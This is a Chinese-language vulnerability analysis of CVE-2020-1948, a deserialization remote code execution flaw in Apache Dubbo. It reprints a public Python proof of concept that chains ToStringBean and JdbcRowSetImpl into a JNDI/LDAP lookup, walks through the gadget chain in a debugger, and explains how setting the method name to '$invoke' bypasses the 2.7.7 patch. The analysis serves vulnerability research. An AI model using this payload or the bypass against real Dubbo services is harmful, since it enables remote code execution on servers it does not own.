Apache dubbo (CVE-2020-1948) 反序列化远程代码执行漏洞及其补丁绕过深度分析

Apache Dubbo简介

Dubbo是一个分布式服务框架，致力于提供高性能和透明化的RPC远程服务调用方案，以及SOA服务治理方案。简单的说，dubbo就是个服务框架，如果没有分布式的需求，其实是不需要用的，只有在分布式的时候，才有dubbo这样的分布式服务框架的需求，并且本质上是个服务调用的东东，说白了就是个远程服务调用的分布式框架（告别Web Service模式中的WSdl，以服务者与消费者的方式在dubbo上注册）其核心部分包含:

远程通讯: 提供对多种基于长连接的NIO框架抽象封装，包括多种线程模型，序列化，以及“请求-响应”模式的信息交换方式。
集群容错: 提供基于接口方法的透明远程过程调用，包括多协议支持，以及软负载均衡，失败容错，地址路由，动态配置等集群支持。
自动发现: 基于注册中心目录服务，使服务消费方能动态的查找服务提供方，使地址透明，使服务提供方可以平滑增加或减少机器。

下图是来自Apache dubbo 官网的工作流程和原理

Provider
- 暴露服务方称之为“服务提供者”
Consumer
- 调用远程服务方称之为“服务消费者”
Registry
- 服务注册与发现的中心目录服务称之为“服务注册中心”
Monitor
- 统计服务的调用次调和调用时间的日志服务称之为“服务监控中心”
Container
- 服务运行容器。

Provider将本地提供的远程方法在注册中心进行注册，Consumer需要调用时会先去注册中心进行查询，根据注册中心返回的结果再去对应的Provider中调用对应的远程方法，如果有变更，注册中心将基于长连接推送变更数据给Consumer 。

启动注册中心，Apache dubbo 推荐使用的注册中心时Apache ZooKeeper注册中心下载地址https://zookeeper.apache.org/releases.html

启动ZooKeeper之前可以自定义修改 “/conf/zoo.cfg”配置文件里的 clientPort和dataDir的值。

Apache Dubbo有一个web端的管理界面 github地址如下https://github.com/apache/dubbo-admin

下载完成后进入/dubbo-admin-server/src/main/resources目录修改application.properties配置文件，将其中的注册中心地址修改为自己启动的注册中心的地址

dubbo-admin-server 目录下运行 mvn package -Dmaven.test.skip=true 将该模块打包成jar包

然后 java -jar dubbo-admin-server-0.2.0-SNAPSHOT.jar 启动dubbo-admin-server，此时启动了 dubbo管理的服务端但是没有UI界面。

进入到 dubbo-admin-ui 中执行 npm install 该命令执行完成后执行npm run dev 。

访问http://localhost:8081 此时就有了UI界面，默认账号密码都是root，在服务查询中我们可以看到Provider在Zookeeper注册中心中注册的远程方法服务，目前没有注册所以无可用数据。

启动我们使用dubbo框架写的程序

可以看到我们的远程方法服务成功在zookeeper注册中心进行注册

CVE-2020-1948 深度分析

首先观察一下网上已经公布的POC的代码

from hessian2 import new_object
from client import DubboClient

client = DubboClient('127.0.0.1', 20880)

JdbcRowSetImpl=new_object(
      'com.sun.rowset.JdbcRowSetImpl',
      dataSource="ldap://127.0.0.1:8087/ExploitMac",
      strMatchColumns=["fxx"]
      )
JdbcRowSetImplClass=new_object(
      'java.lang.Class',
      name="com.sun.rowset.JdbcRowSetImpl",
      )
toStringBean=new_object(
      'com.rometools.rome.feed.impl.ToStringBean',
      beanClass=JdbcRowSetImplClass,
      obj=JdbcRowSetImpl
      )

resp = client.send_request_and_return_response(
    service_name='com.example.provider.service.UesrService',
    method_name='test',
    args=[toStringBean])

from hessian2 import new_object

from client import DubboClient

client = DubboClient('127.0.0.1', 20880)

JdbcRowSetImpl=new_object(

'com.sun.rowset.JdbcRowSetImpl',

dataSource="ldap://127.0.0.1:8087/ExploitMac",

strMatchColumns=["fxx"]

)

JdbcRowSetImplClass=new_object(

'java.lang.Class',

name="com.sun.rowset.JdbcRowSetImpl",

)

toStringBean=new_object(

'com.rometools.rome.feed.impl.ToStringBean',

beanClass=JdbcRowSetImplClass,

obj=JdbcRowSetImpl

)

resp = client.send_request_and_return_response(

service_name='com.example.provider.service.UesrService',

method_name='test',

args=[toStringBean])

不难看出，该漏洞利用链最终是通过JdbcRowSetImpl调用jndi来进行远程代码执行。同时我们发现该gadget中用到了com.rometools.rome.feed.impl.ToStringBean，所以Provider的pom.xml中需要添加rometools的引用

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.7.0</version>
</dependency>

<groupId>com.rometools</groupId>

</dependency>

通过wireshark抓包来看一下 POC发出的报文内容

我们将断点打在 org.apache.dubbo.remoting.transport.DecodeHandler 的第57行代码上。

跟进该方法后可以看到该方法内首先会进行一个if判断，判断完成后会调用DecodeableRpcInvocation.decode()方法并传递进去两个参数，其中有一个inputStream参数，我们详细看一下该参数的内容

可以看到正是我们通过POC发送的序列化数据

跟进该方法，在第131行代码处有一个if判断，这里通过RefctUtils.desc2classArray()处理完desc参数然后返回一个ToStringBean的类对象。

紧接着通过Hessian将ToStringBean的类对象反序列化成ToStringBean对象并赋值给args参数

仔细观察一下此时args指向的ToStringBean对象的详细内容，可见此时ToStringBean对象有两个属性已经被赋值为JdbcRowSetImpl。

当前方法执行完成后 args参数和pts参数分别被赋值给当前对象的arguments属性和parameterTypes属性，然后当前DecodeableRpcInvocation作为参数进行返回

返回到DecodeHandler中，在第51行代码中传入的message参数是一个Request对象，该Request对象是dubbo的包中的，简单看一下该对象的详细信息

跟进该方法，然后继续跟进handleRequest()方法。

在DubboProtocol类的第263行代码中经过一个if判断然后判断成功会抛出一个RemotingException，关键点就在这里，可以看到传入的参数中采用了字符串拼接的形式，当使用字符串拼接的时候，会自动调用StringBuilder的对象的append方法，依次处理channel.getRemoteAddress()的返回值，channel.getLocalAddress()的返回值，getInvocationWithoutData(inv)的返回值，而getInvocationWithoutData(inv)的返回值正式含有恶意请求的DecodeableRpcInvocation对象，StringBuilder要调用DecodeableRpcInvocation的toString方法将其转化为字符串

DecodeableRpcInvocation类的父类RpcInvocation重写了toString方法，看一下RpcInvocation.toString()方法的实现

同样还是字符串拼接，其中Arrays.toString(arguments)，agruments正是之前封装进DecodeableRpcInvocation对象中的ToStringBean对象。接下来自然会调用ToStringBean.toString()方法。

ToStringBean.toString()方法，执行时取出其中的obj属性获取其类名称，并作为参数传入另一个重写的toString方法

该toString方法中会通过反射不断调用JdbcRowSetImpl对象的各个方法，当反射调用JdbcRowSetImpl对象的getDatabaseMetaData方法时，会触发JDNI远程访问dataSource

我们可以看到dataSource的值

至此Apache dubbo (CVE-2020-1948) 反序列化远程代码执行漏洞原理分析完毕

补丁绕过分析

这次针对该漏洞的补丁非常简单，在分析该漏洞时说过在DecodeableRpcInvocation类的第131行有一个if 判断，以下是2.7.6版本中该判断的代码

更新后的2.7.7版本该判断的代码如下，可见在该判断內有增加了一个if 判断，且新增加的判断如果判断失败则会抛出IllegalArgumentException异常终止当前线程的执行。

那么如何绕过该判断让程序继续执行下去从而触发远程代码执行，我们跟入RpcUtils.isGenericCall()方法中来仔细观察。

不难发现该方法内用仅仅只用String.equals方法对比了method参数是否和$INVOKE常量或者$INVOKE_ASYNC常量的值相同。

我门看一下两个常量的值

我们此时 method的值为“test”可见并不相同，紧接着进入RpcUtils.isEcho()方法，同样是和常量进行对比，显然结果也不相同

所以if 判断内的最终结果为true，从而抛出异常终止执行。绕过的方法相比大家也都想到了，我们只要让method的值等于“$invoke”，“$invokeAsync”，“$echo”任意一个即可绕过。我们返回POC中查看与method对应的值是哪一个

一眼就能发现其中的method_name就是我们要找的，我们只需要修改‘test’为‘$invoke’即可对当前补丁进行绕过。

总结

此次漏洞是序列化传输到后台的数据被翻序列化完成后，在后续的处理过程中的一个异常处理中进行了危险操作，从而触发了gadget。